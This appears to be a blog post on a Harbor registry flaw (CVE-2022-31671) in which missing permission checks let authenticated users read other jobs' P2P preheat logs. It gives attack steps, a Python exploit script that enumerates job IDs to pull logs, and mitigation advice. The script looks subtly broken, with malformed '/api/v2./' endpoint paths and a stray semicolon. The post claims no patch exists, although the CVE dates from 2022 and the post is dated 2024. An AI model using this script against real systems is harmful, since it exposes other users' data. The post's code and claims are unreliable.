In this blog post, we are going to dig into a recently discovered vulnerability in Harbor's P2P preheat execution logs (CVE-2022-31671). Harbor, a cloud-based registry, has been identified to contain a security weakness that fails to validate user permissions when reading and updating job execution logs. As a result, malicious authenticated users could potentially access sensitive information stored in Harbor's database, posing potential risks that we will discuss and suggest mitigations for.

What is Harbor?

Before we dive into the vulnerability, let's briefly introduce Harbor. Harbor is an open-source cloud registry that secures your images with role-based access control (RBAC), scans your images for vulnerabilities, and allows easy replication across various classification environments. With robust support for various image formats and content management systems, Harbor enables you to manage your container images, Helm charts, and other OCI-compatible artifacts in one place. You can learn more about Harbor here.

Issue description

As briefly mentioned earlier, this vulnerability arises due to Harbor's failure to validate user permissions when accessing the P2P preheat execution logs. These logs contain valuable information about the tasks scheduled and executed by the system, which could give malicious users insights into the internal workings of your cloud infrastructure. The vulnerability specifically allows an attacker to send a request attempting to read or update the P2P preheat execution logs and specify different job IDs to read all the job logs stored in Harbor's database.

Authenticate with Harbor, obtaining valid user credentials.

2. Send a specially crafted request to the Harbor API endpoint responsible for handling P2P preheat execution logs.
3. Specify different job IDs in the request to read or update logs associated with other jobs in the Harbor database.

Here is a sample code snippet demonstrating the exploit

import requests

# Replace with valid Harbor credentials
harbor_username = "user"
harbor_password = "password"

# Replace with target Harbor instance URL
harbor_url = "https://harbor.example.com";

# Authenticate with Harbor
auth_response = requests.post(
    f"{harbor_url}/api/v2./users/login",
    data={"username": harbor_username, "password": harbor_password},
)
auth_token = auth_response.json()["token"]

# Craft the headers with the authentication token
headers = {"Authorization": f"Bearer {auth_token}"}

# Send a request specifying different job IDs to access logs
for job_id in range(1, 100):
    log_response = requests.get(
        f"{harbor_url}/api/v2./preheats/{job_id}/logs/content",
        headers=headers,
    )
    print(f"Job {job_id} logs: {log_response.text}")

The above Python code attempts to iterate through a range of job IDs and fetch the logs associated with them through the Harbor API.

Mitigation

There is currently no official patch available for CVE-2022-31671. Until then, follow these suggestions to mitigate the risk associated with this vulnerability:

1. Limit access to the Harbor API: Ensure that only trusted users and applications can access the Harbor API to reduce the attack surface.
2. Monitor the API usage: Continuously monitor API usage patterns and set up alerts to trigger if any unauthorized or unusual activity is detected.
3. Least privilege principle: Configure user authentication and role-based access control to ensure that users have the minimum access required for their tasks.

Conclusion

Taking prompt action to understand and address vulnerabilities like CVE-2022-31671 will go a long way in keeping your infrastructure secure and safeguarding your valuable information. By incorporating the suggested mitigation strategies, you can significantly reduce the potential risks tied with this particular security flaw. Be sure to keep an eye out for any updates regarding an official patch to address the issue.

References

- Harbor Official Website
- CVE-2022-31671 - NVD Details

Timeline

Published on: 11/14/2024 12:15:17 UTC